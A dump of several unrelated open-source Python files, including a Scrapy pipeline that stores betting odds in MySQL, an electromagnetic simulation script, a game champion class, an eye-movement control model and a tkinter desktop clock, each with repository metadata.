full=False)\n","repo_name":"ga4gh-rnaseq/rnaget-compliance-suite","sub_path":"compliance_suite/functions/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":6301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18719064886","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\n\nimport copy\nimport pymysql\nimport time\nfrom twisted.enterprise import adbapi\n# from twisted.internet import reactor\nfrom .items import MatchItem\nfrom .items import OddsItem\nfrom .items import OuOddsItem\nfrom .items import YaOddsItem\nfrom .items import DxOddsItem\nfrom .items import ImmOuOddsItem\nfrom .items import ImmYaOddsItem\nfrom .items import ImmDxOddsItem\nfrom .comm.MsDebug import MsLog\n\n\nclass MsPipeline(object):\n def __init__(self, db_pool):\n self.db_pool = db_pool\n self.b_bets = {}\n self.b_league = {}\n self.b_fteam = {}\n self.initdata('b_bets').addCallback(self.parseData, 'b_bets')\n self.initdata('b_league').addCallback(self.parseData, 'b_league')\n self.initdata('b_fteam').addCallback(self.parseData, 'b_fteam')\n self.iCount = 0\n self.tickcount = int(round(time.time() * 1000))\n self.odds_item_list = []\n\n @classmethod\n def from_settings(cls, settings):\n db_pool = adbapi.ConnectionPool(\n 'pymysql',\n host=settings[\"MYSQL_HOST\"],\n db=settings[\"MYSQL_DB\"],\n user=settings[\"MYSQL_USER\"],\n password=settings[\"MYSQL_PASSWORD\"],\n charset=\"utf8\",\n cursorclass=pymysql.cursors.DictCursor,\n use_unicode=True,\n autocommit=0\n )\n return cls(db_pool)\n\n def parseData(self, datas, table):\n print(\"MS - printData[{0}]...\".format(table))\n for data in datas:\n if table == 'b_bets':\n self.b_bets[data['name']] = data['id']\n elif table == 'b_league':\n self.b_league[data['name']] = data['id']\n elif table == 'b_fteam':\n self.b_fteam[data['name']] = data['id']\n\n def _initCommit(self, cur):\n print('MS - set autocommit')\n cur.execute('set autocommit=0;')\n\n def initCommit(self):\n return self.db_pool.runInteraction(self._initCommit)\n\n def initdata(self, table):\n print('MS - initdata.....')\n return self.db_pool.runQuery(\"select * from {0}\".format(table))\n\n def handle_error(self, failure, item):\n print('插入数据失败,原因:{},错误对象:{}'.format(failure, item))\n\n # 获取博彩公司ID\n def getbid(self, cur, tablename, name):\n try:\n sql = 'SELECT id FROM {0} WHERE name=%(name)s'.format(tablename)\n values = {\n 'name': name\n }\n cur.execute(sql, values)\n data = cur.fetchone()\n if data is not None:\n return data['id']\n return -1\n except Exception as e:\n print(e)\n\n # 添加博彩公司记录\n def addBaseItem(self, cur, tablename, name, fname=''):\n try:\n sql = 'INSERT INTO {0}(`name`, `fname`, `remark`) VALUES(%(name)s, %(fname)s, %(remark)s)'.format(tablename)\n values = {\n 'name': name,\n 'fname': fname,\n 'remark': ''\n }\n cur.execute(sql, values)\n return True\n except Exception as e:\n print(e)\n return False\n\n # 获取赔率ID\n def getOddsId(self, cur, item):\n try:\n tablename = self.getTableNameByItem(item)\n\n if tablename == '':\n return -2\n\n sql = '''\n SELECT id FROM {0} WHERE mid=%(mid)s and bid=%(bid)s and cdate=%(cdate)s\n '''.format(tablename)\n values = {\n 'mid': item['mid'],\n 'bid': item['bid'],\n 'cdate': item['cdate']\n }\n\n cur.execute(sql, values)\n data = cur.fetchone()\n if data is not None:\n return data['id']\n return -1\n except Exception as e:\n print(e)\n\n # 获取比赛ID\n def getmid(self, cur, mid):\n try:\n sql = 'SELECT id FROM matchdata WHERE mid=%(mid)s'\n values = {\n 'mid': mid\n }\n cur.execute(sql, values)\n data = cur.fetchone()\n if data is not None:\n return data['id']\n return -1\n except Exception as e:\n print(e)\n\n # 添加比赛记录\n def addmItem(self, cur, item):\n try:\n sql = '''\n INSERT INTO matchdata(`mid`, `lid`, `mtid`, `jq`, `dtid`, `sq`, `mdate`)\n VALUES(%(mid)s, %(lid)s, %(mtid)s, %(jq)s, %(dtid)s, %(sq)s, %(mdate)s) \n '''\n\n values = {\n 'mid': item['mid'],\n 'lid': item['lid'],\n 'mtid': item['mtid'],\n 'jq': item['jq'],\n 'dtid': item['dtid'],\n 'sq': item['sq'],\n 'mdate': item['mdate']\n }\n cur.execute(sql, values)\n return True\n except Exception as e:\n print(e)\n return False\n\n # 更新比赛记录\n def updmItem(self, cur, item):\n try:\n sql = '''\n UPDATE matchdata\n SET `mid`=%(mid)s, `lid`=%(lid)s, `mtid`=%(mtid)s, `jq`=%(jq)s, \n `dtid`=%(dtid)s, `sq`=%(sq)s, `mdate`=%(mdate)s\n WHERE `id` = %(id)s \n '''\n\n values = {\n 'id': item['id'],\n 'mid': item['mid'],\n 'lid': item['lid'],\n 'mtid': item['mtid'],\n 'jq': item['jq'],\n 'dtid': item['dtid'],\n 'sq': item['sq'],\n 'mdate': item['mdate']\n }\n cur.execute(sql, values)\n return True\n except Exception as e:\n print(e)\n return False\n\n def process_item(self, items, spider):\n try:\n # 对象拷贝 深拷贝\n asynItems = copy.deepcopy(items) # 需要导入import copy\n\n if isinstance(asynItems, MatchItem):\n query = self.db_pool.runInteraction(self.process_md_item, asynItems)\n elif isinstance(asynItems, OuOddsItem) or isinstance(asynItems, YaOddsItem) or isinstance(asynItems, DxOddsItem):\n query = self.db_pool.runInteraction(self.process_odds_item, asynItems)\n elif isinstance(asynItems, OddsItem):\n query = self.db_pool.runInteraction(self.insert_odds, asynItems)\n query.addErrback(self.handle_error, asynItems)\n # return item\n # print('MS - iCount: {} TimeCount: {}'.format(self.iCount, int(round(time.time() * 1000)) - self.tickcount))\n self.iCount += 1\n except Exception as e:\n print('process_item err:{0}'.format(e))\n\n def process_md_item(self, cursor, item):\n try:\n # 补全联赛信息\n # lsid = self.getbid(cursor, 'b_league', item['lname'])\n lsid = self.b_league.get(item['lname'], -1)\n if lsid == -1:\n self.addBaseItem(cursor, 'b_league', item['lname'])\n lsid = self.getbid(cursor, 'b_league', item['lname'])\n if lsid == -1:\n return\n self.b_league[item['lname']] = lsid\n item['lid'] = lsid\n\n # 补全球队信息-主队\n # mtid = self.getbid(cursor, 'b_fteam', item['mtname'])\n mtid = self.b_fteam.get(item['mtname'], -1)\n if mtid == -1:\n self.addBaseItem(cursor, 'b_fteam', item['mtname'], item['mtfname'])\n mtid = self.getbid(cursor, 'b_fteam', item['mtname'])\n\n if mtid == -1:\n return\n self.b_fteam[item['mtname']] = mtid\n item['mtid'] = mtid\n\n # 补全球队信息-客队\n # dtid = self.getbid(cursor, 'b_fteam', item['dtname'])\n dtid = self.b_fteam.get(item['dtname'], -1)\n if dtid == -1:\n self.addBaseItem(cursor, 'b_fteam', item['dtname'], item['dtfname'])\n dtid = self.getbid(cursor, 'b_fteam', item['dtname'])\n\n if dtid == -1:\n return\n\n self.b_fteam[item['dtname']] = dtid\n item['dtid'] = dtid\n\n # 添加或者更新比赛表数据\n imid = self.getmid(cursor, item['mid'])\n if imid == -1:\n self.addmItem(cursor, item)\n else:\n item['id'] = imid\n return self.updmItem(cursor, item)\n return True\n except Exception as e:\n print(e)\n return False\n\n def process_odds_item(self, cursor, item):\n try:\n # 补全博彩公司数据\n bid = self.b_bets.get(item['bname'], -1)\n if bid == -1:\n self.addBaseItem(cursor, 'b_bets', item['bname'], '')\n bid = self.getbid(cursor, 'b_bets', item['bname'])\n if bid == -1:\n return False\n self.b_bets[item['bname']] = bid\n item['bid'] = bid\n\n return self.addOddsItem(cursor, item)\n return True\n except Exception as e:\n print(e)\n return False\n\n def insert_odds(self, cursor, item):\n try:\n # 补全博彩公司数据\n bid = self.b_bets.get(item['bname'], -1)\n if bid == -1:\n self.addBaseItem(cursor, 'b_bets', item['bname'], '')\n bid = self.getbid(cursor, 'b_bets', item['bname'])\n if bid == -1:\n return False\n self.b_bets[item['bname']] = bid\n item['bid'] = bid\n\n insert_sql = item.get_insert_sql()\n cursor.execute(insert_sql)\n return True\n except Exception as e:\n print(e)\n return False\n\n def close_spider(self, spider):\n self.db_pool.close()\n MsLog.debug('[{0}] 结束'.format(spider.name))\n","repo_name":"mansoy/MsSpider","sub_path":"MsSpider/MsPipeline.py","file_name":"MsPipeline.py","file_ext":"py","file_size_in_byte":10227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28232962561","text":"import KUEM as EM\nimport numpy as np\nimport time as t\n\n# The size of the system\nSize = 49\n\nShowCount = 25\nbase_dx = np.array([25, 25, 25], dtype = float)\nbase_N = np.array([1, 1, 1], dtype = int)\nbase_dt = 2.5\nOmega = 2 * np.pi / 5\napprox_n = 100\nT = 10\nTRes = 0.1\n\n# -------------------------------------------------------------------------------\n\ndef J_LineCurrent(dx, N, x0, c, mu0):\n J = np.zeros((np.prod(N), 4))\n J[int(N[0] / 2) + 30 + (int(N[1] / 2) + 15) * N[0] :: N[0] * N[1], 3] = 1\n \n # Create function to return J\n # t: The time\n def GetJ(t):\n if Omega * t < 2 * np.pi:\n return J * np.sin(Omega * t)\n \n else:\n return J * 0\n \n # Return the function\n return GetJ \n\ndx = base_dx / (Size - 1)\ndt = base_dt / (Size - 1)\nN = base_N * Size\nN[2] = 1\nx0 = np.array(-base_dx / 2, dtype = float)\nEvalCount = int(T / dt)\nIntEvalCount = int(np.ceil(TRes / dt))\n\nIndex1 = np.floor(np.linspace(0, 1, ShowCount, endpoint = False) * N[0])\nIndex2 = np.floor(np.linspace(0, 1, ShowCount, endpoint = False) * N[1])\nIndex1, Index2 = np.meshgrid(Index1, Index2)\nx = np.empty((ShowCount, ShowCount, 3))\nx[:, :, 0] = x0[0] + Index1 * dx[0] * 1.0001\nx[:, :, 1] = x0[1] + Index2 * dx[1] * 1.0001\nx[:, :, 2] = 0\n\nSim = EM.sim(N, delta_x = base_dx, dt = dt, J = J_LineCurrent, approx_n = approx_n, x0 = x0, boundaries = [[\"flat\", \"flat\"], [\"flat\", \"flat\"], \"periodic\"])\n\ndef LinScale(x):\n return x\n\n#print(\"Estimated time: \" + str(Sim.estimate_dynamics(exact = False) * EvalCount))\n\n# Create video\nPoints = EM.sample_points_plane(np.array([1, 0, 0]), np.array([0, 1, 0]), np.array([0, 0, 0]), base_dx, np.array([100, 100], dtype = int))\nVideo = EM.video(\"DynTest\", FPS = 30)\nVideo.plot_scalar(Sim.sample_values(Sim.get_A()[:, 2], Points), clim = np.array([-0.08, 0.08]))\n#figB, axB, VideoB = EM.video_init(\"LineCurrentAlternatingB\", FPS = 30)\n#figS, axS, VideoS = EM.video_init(\"LineCurrentAlternatingS\", FPS = 30)\n#figA, axA, VideoA = EM.video_init(\"LineCurrentAlternatingA\", FPS = 30)\n\n#_, plotB = Sim.plot_B(x, axis1 = x[:, :, 0], axis2 = x[:, :, 1], clim = np.array([0.0005, 0.3]), ax = axB, video = True)\n#_, plotS = Sim.plot_S(x, axis1 = x[:, :, 0], axis2 = x[:, :, 1], clim = np.array([0.00001, 0.01]), ax = axS, video = True)\n#_, plotA = Sim.plot_AComp(x, 3, clim = np.array([-0.05, 0.05]), ax = axA, scale = LinScale)\n\ntime1 = t.time()\n\nfor i in range(int(EvalCount / IntEvalCount)):\n # Update potential\n for _ in range(IntEvalCount):\n Sim.step(exact = True)\n print(i / int(EvalCount / IntEvalCount))\n # Draw B field\n Video.update_scalar(Sim.sample_values(Sim.get_A()[:, 2], Points))\n #Sim.update_plot_B(plotB, x)\n #Sim.update_plot_S(plotS, x)\n #Sim.update_plot_AComp(plotA, x, 3, scale = LinScale)\n Video.update()\n # Update video\n #EM.video_update(figB, VideoB)\n #EM.video_update(figS, VideoS)\n #EM.video_update(figA, VideoA)\n\ntime2 = t.time()\n\nprint(\"Time: \" + str(time2 - time1))\n\n#Test.plot_B(x, axis1 = x[:, :, 0], axis2 = x[:, :, 1], clim = np.array([0.001, 0.1]), scale = scale)\n\nVideo.finish()\n# Close video\n#EM.video_finish(figB, VideoB)\n#EM.video_finish(figS, VideoS)\n#EM.video_finish(figA, VideoA)","repo_name":"RasmusBruhn/KUEM","sub_path":"OldExamples/EMDynTest.py","file_name":"EMDynTest.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"27006204201","text":"from datetime import datetime\r\n\r\ncurrent_date = datetime.now().date().weekday()\r\n\r\nrecent_date = datetime(year=2022, month=2, day=4)\r\n# print(recent_date)\r\n\r\ndict = {\r\n \"One\": 1,\r\n \"2\": 2\r\n}\r\n\r\nprint(list(dict.keys())[0])","repo_name":"Vincent-Muchiri/Python-Programming","sub_path":"Stock and Crypto Price Alert App[36] - API, SMS, Email/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31508855405","text":"import os\nimport random\nimport json\nfrom pathlib import Path\nfrom typing import List, Union, TYPE_CHECKING, Iterable\n\nfrom battle.construct.enum import EventType, Stat, State\n\nif TYPE_CHECKING:\n from battle.construct import Team\n from battle.construct.barrier import Barrier\n\nPROJECT_DIR = str(Path(os.path.abspath(__file__)).parent.parent.absolute())\n\n\ndef load_champion_data(path):\n result = {}\n with open(path + \"/resource/champion.json\", \"r\") as ch_json:\n champion_data = json.load(ch_json)\n list(map(lambda d: result.update({d[\"championId\"]: d}), champion_data))\n return result\n\n\nCHAMPION_DATA = load_champion_data(PROJECT_DIR)\n\n\nclass Champion:\n def __init__(self, champ_data, team: \"Team\"):\n self.name = champ_data[\"name\"]\n self.uuid = champ_data[\"uuid\"]\n self.id = champ_data[\"championId\"]\n self.level = champ_data[\"level\"]\n self.team: Team = team\n self.traits = champ_data[\"traits\"]\n self.skill = champ_data[\"skill\"]\n\n self.state: List[State] = []\n self.buff = {s: [] for s in Stat}\n self.event = {e: [] for e in EventType}\n self.stat = {s: champ_data[s] for s in Stat}\n self.hp = self.stat[Stat.MAX_HP]\n self.mp = self.stat[Stat.MP]\n self.barrier: List['Barrier'] = []\n\n self.action = None\n self.target: Union[Champion, None] = None\n\n def heal(self, value):\n self.hp = min(self.get_stat(Stat.MAX_HP), self.hp + value)\n\n def get_stat(self, stat_type) -> Union[int, float]:\n origin = self.stat[stat_type]\n buff = 0\n for b in self.buff[stat_type]:\n if b.is_absolute:\n origin += b.result(stat_type)\n continue\n buff += b.result(stat_type)\n\n return origin + (origin * buff)\n\n def use_barrier(self, dmg: Union[int, float]) -> Union[int, float]:\n residual = dmg\n for b in self.barrier:\n residual = b.calc(residual)\n if residual:\n break\n return residual\n\n def cause_event(self, event_type, **kwargs):\n for e in self.event[event_type]:\n e.get(event_type, **kwargs)\n\n def generate_mana(self, mana, cause_event=True):\n if cause_event:\n self.cause_event(EventType.GENERATE_MP, mp=mana, champion=self)\n self.mp = min(self.mp + mana, self.get_stat(Stat.MAX_MP))\n\n def get_damage(self, damage) -> Union[int, float, None]:\n damage.set_armor(self.get_stat(Stat.ARMOR))\n damage.set_magic_resistance(self.get_stat(Stat.MAGIC_RESISTANCE))\n damage.set_damage_reduce(self.get_stat(Stat.DAMAGE_REDUCE))\n reduced_damage = damage.calc()\n self.generate_mana(damage.get_pre_mitigated() * 0.06)\n\n if reduced_damage is None:\n print(f'{self.name}: Avoid damage')\n return None\n residual_damage = self.use_barrier(reduced_damage)\n self.hp = max(self.hp - residual_damage, 0)\n self.cause_event(EventType.GET_DAMAGE, damage=reduced_damage, hp=self.hp, max_hp=self.get_stat(Stat.MAX_HP))\n\n if not self.hp:\n self.set_death()\n print(f'{self.name}: Get Damage {reduced_damage} HP left {self.hp}')\n\n return reduced_damage\n\n def is_critical(self) -> bool:\n chance = min(100, self.get_stat(Stat.CRITICAL_CHANCE))\n result = random.choices([True, False], weights=[chance, 100 - chance])\n\n return result[0]\n\n def is_dodge(self) -> bool:\n chance = min(100, self.get_stat(Stat.DODGE_CHANCE))\n result = random.choices([True, False], weights=[chance, 100 - chance])\n\n return result[0]\n\n def is_dead(self) -> bool:\n if State.DEATH in self.state:\n return True\n return False\n\n def is_mp_full(self) -> bool:\n if self.mp >= self.get_stat(Stat.MAX_MP):\n return True\n return False\n\n def set_death(self):\n try:\n if self.action is not None:\n self.action.interrupt()\n self.action = None\n except RuntimeError:\n print('Action Already terminated')\n self.state = [State.DEATH]\n\n def __repr__(self):\n return f'{self.name}'\n\n def __iter__(self) -> Iterable[str]:\n result = [\n (\"name\", self.name),\n (\"uuid\", self.uuid),\n (\"id\", self.id),\n (\"level\", self.level),\n (\"team\", str(self.team)),\n (\"traits\", self.traits),\n (\"skill\", self.skill),\n (\"state\", self.state),\n (\"hp\", self.hp),\n (\"mp\", self.mp),\n ]\n stat = {}\n barrier = 0\n for s in Stat:\n stat[s] = self.get_stat(s)\n for b in self.barrier:\n barrier += b.value\n result.append((\"stat\", stat))\n result.append((\"barrier\", barrier))\n\n return iter(result)\n","repo_name":"TikaWorld/TFT-simulator","sub_path":"src/battle/construct/champion.py","file_name":"champion.py","file_ext":"py","file_size_in_byte":4899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38659639281","text":"import sys\nfrom framework.storage.mysql import MySQL\nfrom framework.storage.mysql_pool import MySQLPool\nfrom multiprocessing import Pool\nfrom pprint import pprint\n\nsql_file_name = sys.argv[1]\ntry:\n pool_id = sys.argv[2]\nexcept IndexError:\n pool_id = MySQLPool.MAIN\n \npool = MySQL.get_pool(pool_id)\n\ntry:\n num_threads = sys.argv[3]\nexcept IndexError:\n num_threads = None\n\n\ndef get_query_string(file_name):\n with open('sql/' + file_name) as data_file:\n return data_file.read()\n \n \ndef get_query_runner(pool, query_str):\n # bind pool and query string to a function\n # that can make a query per shard id \n def run_one_query(shard_id):\n shard = pool.get_shard(shard_id)\n query_res = shard.query(query_str, None, True)\n shard.close() \n return query_res\n \n return run_one_query\n \n\nrun_one_query = get_query_runner(pool, get_query_string(sql_file_name) ) \n\nres = []\nwith Pool(num_threads) as p:\n res = p.map(run_one_query, range(pool.get_num_shards()))\n\n\n\npprint(res)\n","repo_name":"jordancode/phil_skeleton","sub_path":"phil_skeleton/scripts/all_shard_query.py","file_name":"all_shard_query.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43184052499","text":"import sys\n\nimport numpy\n\nfrom eye_plant import Eye\n\nfrom scipy.linalg import block_diag\n\n# the following two function are used to store and retrieve\n# the appropriate matrices specific to this eye problem\n# This is done to avoid recomputing these\n\ndef compute_matrices(max_dur, dt):\n\n eye = Eye(dt=dt)\n\n # make F and G matrices as in the book\n F = [numpy.eye(eye.state_dim)]\n for _ in range(max_dur - 1):\n #add to front of list\n F.insert(0, numpy.dot(F[0], eye.A))\n\n # block matrix\n F = numpy.bmat(F)\n\n # block diagonal matrix\n G = block_diag(*[eye.B for _ in range(max_dur)])\n\n numpy.savez('matrices', F=F, G=G)\n\n\ndef get_matrices(duration):\n state_dim = 4\n control_dim = 2\n data = numpy.load('matrices.npz')\n F = data['F']\n G = data['G']\n F = F[:, (-state_dim * duration):]\n G = G[:(state_dim * duration), :control_dim * duration]\n\n return F, G\n\n\n# if this file is run, the matrices will be computed\nif __name__ == '__main__':\n dt = float(sys.argv[1])\n compute_matrices(max_dur=300, dt=dt)\n\n\nclass Optimal_Eye(object):\n \"\"\"The optimal eye controller in section 11.4 of Shadmehr book\n Signal-Dependent noise version\"\"\"\n\n def __init__(self, plant):\n #need plant and cost to construct the controller\n self.plant = plant\n\n def control_seq(self, init_state, target, k):\n \"\"\"Computes control sequence for the assigned duration.\n\n Parameters:\n -----------\n\n init_state: initial_state of the system\n target: the goal target, see pg.318\n k: the parameter in signal-dep noise on control\n \"\"\"\n\n # compute the duration from experimental data\n # see pg 285 in Shadmehr book\n distance = numpy.abs(target - init_state[0][0])\n duration = int(round(2.7 * distance + 23))\n\n # cost matrices, see section 11.4\n T = numpy.diag([5e9, 1e6, 80, 80])\n L = numpy.eye(duration * self.plant.B.shape[1])\n\n # set up matrices\n L = numpy.matrix(L, dtype=numpy.float64)\n C = numpy.matrix(self.plant.C, dtype=numpy.float64)\n F, G = get_matrices(duration)\n F = numpy.matrix(F, dtype=numpy.float64)\n G = numpy.matrix(G, dtype=numpy.float64)\n T = numpy.matrix(T, dtype=numpy.float64)\n # A to the power of duration\n A_p = numpy.dot(self.plant.A, F[:, :self.plant.state_dim])\n A_p = numpy.matrix(A_p, dtype=numpy.float64)\n\n S = G.T * F.T * C.T * T * C * F * G\n diag_S = numpy.diag(numpy.diag(S))\n temp = L + S + ((k**2) * diag_S)\n temp = numpy.linalg.inv(temp)\n temp = temp * G.T * F.T * C.T * T\n temp = temp * (target - C * A_p * init_state)\n\n control = temp\n return control\n","repo_name":"youssefzaky/phd","sub_path":"gaze_control/gaze_control/1D/optimal_eye.py","file_name":"optimal_eye.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39137679261","text":"import tkinter as tk\nimport tkinter.ttk as ttk\nfrom tkinter import font\nfrom tkinter import messagebox\nfrom tkinter.colorchooser import askcolor\n\nimport pygubu\n\nimport sys\nimport platform\nimport datetime\n\nimport src.Config as Config\nimport src.Logger as Logger\nimport src.About as About\nimport src.Fonts as Fonts\nimport src.License as License\nimport src.utils.pyDigitalKlock_utils as utils\nimport src.utils.fonts_utils as fu\n\nfrom src.projectPaths import *\n\n\nclass FirstApp:\n \"\"\"Support logic for the GUI of pyDigitalKlock.\n\n GUI elements held in pyDigitalKlock.ui, created using pygubu-designer.\n \"\"\"\n\n def __init__(self, myConfig, logger, master=None):\n\n self.logger = logger\n self.config = myConfig\n self.foreground = self.config.FOREGROUND\n self.background = self.config.BACKGROUND\n self.transparent = False\n\n self.row1 = 0\n self.new_font = None\n\n # Create a builder and setup resources path (if you have images)\n self.builder = builder = pygubu.Builder()\n builder.add_resource_path(RESOURCE_PATH)\n\n # Load an ui file\n builder.add_from_file(PROJECT_UI)\n\n # Create the mainwindow\n self.mainwindow = builder.get_object(\"mainwindow\", master)\n self.width = self.mainwindow.cget(\"width\")\n self.mainwindow.overrideredirect(True)\n\n # Create transparent window\n self.mainwindow.wm_attributes(\"-topmost\", True)\n self.mainwindow.wm_attributes(\"-transparentcolor\", \"gray\")\n self.mainwindow.wait_visibility()\n\n self.myAbout = About.About(self.mainwindow, self.config.NAME, self.config.VERSION)\n self.myLicense = License.License(self.mainwindow, self.config.NAME, self.config.VERSION)\n self.myFont = Fonts.Font(self.mainwindow, logger)\n\n self.lbl_current_time = builder.get_object(\"lblTime\", master)\n self.lbl_today_date = builder.get_object(\"lblDate\", master)\n self.lbl_current_state = builder.get_object(\"lblState\", master)\n self.lbl_idle_time = builder.get_object(\"lblIdle\", master)\n\n self.lbl_current_time.configure(font=font.Font(family=self.config.FONT_NAME,size=self.config.FONT_SIZE,weight=\"normal\",))\n\n # Set main menu\n self.mainmenu = mainmenu = builder.get_object(\"mainmenu\", self.mainwindow)\n self.mainwindow.configure(menu=mainmenu)\n self.mainmenu.bind_all(\"<Control-q>\", self.quit) # Bind menu quit option to self.quit.\n\n # Connect to Delete event\n self.mainwindow.protocol(\"WM_DELETE_WINDOW\", self.quit)\n\n # Connect callbacks\n builder.connect_callbacks(self)\n\n # Bind mouse, so app can be moved.\n self.mainwindow.bind(\"<Button-1>\", self.startMove)\n self.mainwindow.bind(\"<ButtonRelease-1>\", self.stopMove)\n self.mainwindow.bind(\"<B1-Motion>\", self.moving)\n\n self.mainwindow.geometry(\"+%s+%s\" % (self.config.X_POS, self.config.Y_POS))\n\n self.set_check()\n self.set_colours()\n self.set_time_date()\n\n def on_items_clicked(self, itemid):\n \"\"\"Handle the menu options.\"\"\"\n if itemid == \"mfile_quit\":\n self.quit()\n if itemid == \"mColour_foreground\":\n colours = askcolor(title=\"Choose colour of foreground\")\n self.foreground = colours[1]\n self.set_colours()\n if itemid == \"mColour_background\":\n colors = askcolor(title=\"Choose colour of background\")\n self.background = colors[1]\n self.set_colours()\n if itemid == \"mcolour_transparent\":\n self.set_colours()\n if itemid == \"mFonts_fonts\":\n self.show_font_dialog()\n if itemid == \"mhelp_license\":\n self.show_about_license()\n if itemid == \"mhelp_about\":\n self.show_about_dialog()\n\n def show_about_license(self):\n \"\"\"Call the about dialog.\"\"\"\n self.logger.info(f\" Running About Dialog \")\n self.myLicense.show_license_dialog()\n self.logger.info(f\" Closing About Dialog \")\n\n def show_about_dialog(self):\n \"\"\"Call the about dialog.\"\"\"\n self.logger.info(f\" Running About Dialog \")\n self.myAbout.show_about_dialog()\n self.logger.info(f\" Closing About Dialog \")\n\n def show_font_dialog(self):\n \"\"\"Call the font dialog.\"\"\"\n self.logger.info(f\" Running Font Dialog \")\n self.myFont.show_font_dialog()\n self.logger.info(f\" Closing Font Dialog \")\n\n def set_time_date(self):\n \"\"\"Update the screen, current time, date & idle time.\n\n TODO Stop guessing at length of idle time and try and use ttk measure function.\n \"\"\"\n\n strNow = datetime.datetime.now()\n\n # Set the time.\n var = self.builder.get_variable(\"current_time\")\n var.set(f\"{strNow:%H:%M:%S}\")\n\n # Set the date\n var = self.builder.get_variable(\"today_date\")\n var.set(f\"{ strNow:%A %d %B %Y}\")\n\n # Set the state\n var = self.builder.get_variable(\"current_state\")\n var.set(f\"{utils.get_state()}\")\n\n # Set the state\n idle = int(utils.get_idle_duration())\n if idle > 5: # Only print idles time if greater then 5 seconds.\n strIdle = f\"idle : {utils.formatSeconds(idle)}\"\n length = len(strIdle)\n strIdle = strIdle.rjust(58 - length, \" \") # Guess at 58 characters for right justification.\n else:\n strIdle = \"\"\n\n var = self.builder.get_variable(\"idle_time\") # This could change if the font is changed.\n var.set(f\"{strIdle}\")\n\n self.set_row()\n\n # Call the set_time_date() function every 1 second.\n self.mainwindow.after(1000, self.set_time_date)\n\n def set_row(self):\n \"\"\"Checks if a new font has been selected and sets accordingly.\n\n myFont is initially set to -1, set to -2 in the font chosen is not installed.\n \"\"\"\n if self.myFont.row == -1: # font not selected from menu.\n return\n if self.myFont.row == -2: # Selected font not installed.\n return\n if self.myFont.row != self.row1:\n self.row1 = self.myFont.row\n self.new_font, self.config.FONT_NAME, self.config.FONT_SIZE = fu.set_font(self.row1)\n self.lbl_current_time.configure(font=self.new_font)\n\n def set_check(self):\n \"\"\"Checks whether the transparency menu has been clicked.\"\"\"\n variable = self.builder.get_variable(\"mcolour_transparent_clicked\")\n variable.set(self.config.TRANSPARENT)\n\n def set_colours(self):\n \"\"\"Sets the foreground and background colour of the main window and all labels.\n Is called initially and from the menu when a colour chooser is selected.\n Also sets the transparency of all widgets.\n \"\"\"\n variable = self.builder.get_variable(\"mcolour_transparent_clicked\")\n self.transparent = variable.get()\n\n if self.transparent:\n trans_colour = \"grey\"\n self.config.TRANSPARENT = True\n else:\n trans_colour = self.background\n self.config.TRANSPARENT = False\n\n self.mainwindow.configure(background=trans_colour)\n self.mainmenu.configure(background=trans_colour, foreground=self.foreground)\n self.lbl_current_time.configure(\n background=trans_colour, foreground=self.foreground\n )\n self.lbl_today_date.configure(\n background=trans_colour, foreground=self.foreground\n )\n self.lbl_current_state.configure(\n background=trans_colour, foreground=self.foreground\n )\n self.lbl_idle_time.configure(\n background=trans_colour, foreground=self.foreground\n )\n\n # Used to move the app.\n # Binds start and sop to mouse left click and move to mouse move.\n def startMove(self, event):\n self.x = event.x\n self.y = event.y\n\n def stopMove(self, event):\n self.x = None\n self.y = None\n\n def moving(self, event):\n x = event.x_root - self.x\n y = event.y_root - self.y\n self.config.X_POS = x\n self.config.Y_POS = y\n self.mainwindow.geometry(\"+%s+%s\" % (x, y))\n\n def quit(self, event=None):\n \"\"\"Saves the current configuration and closes app.\n The font name and size has already been amened in the config class.\n self.config.TRANSPARENT also already set.\n \"\"\"\n try:\n self.config.FOREGROUND = self.foreground\n self.config.BACKGROUND = self.background\n self.config.writeConfig()\n except Exception as e:\n logger.debug(f\" Error occurred during saving of config: {e}\")\n\n self.mainwindow.quit()\n\n def run(self):\n \"\"\"Runs the main GUI loop.\"\"\"\n self.mainwindow.mainloop()\n\n\ndef main():\n \"\"\"Main function to run the thing.\"\"\"\n\n logger = Logger.get_logger(str(LOGGER_PATH)) # Create the logger.\n myConfig = Config.Config(CONFIG_PATH, logger) # Create the config.\n\n logger.info(\"-\" * 100)\n logger.info(f\" Running {myConfig.NAME} Version {myConfig.VERSION} \")\n logger.debug(f\" {platform.uname()}\")\n logger.debug(f\" Python Verion {platform.python_version()}\")\n logger.debug(\"\")\n logger.debug(f\" PROJECT_PATH :: {PROJECT_PATH}\")\n logger.debug(f\" MAIN_PATH :: {MAIN_PATH}\")\n logger.debug(f\" PROJECT_UI :: {PROJECT_UI}\")\n logger.debug(f\" RESOURCE_PATH:: {RESOURCE_PATH}\")\n logger.debug(f\" FONTS_PATH :: {FONTS_PATH}\")\n logger.debug(f\" CONFIG_PATH :: {CONFIG_PATH}\")\n logger.debug(f\" LOGGER_PATH :: {LOGGER_PATH}\")\n logger.debug(\"\")\n\n if getattr(sys, \"frozen\", False) and hasattr(sys, \"_MEIPASS\"):\n logger.debug(\" Running in a PyInstaller bundle\")\n else:\n logger.debug(\" Running in a normal Python process\")\n\n app = FirstApp(myConfig, logger)\n app.run()\n\n logger.info(f\" Ending {myConfig.NAME} Version {myConfig.VERSION} \")\n logger.info(\"-\" * 100)\n\n\nif __name__ == \"__main__\":\n 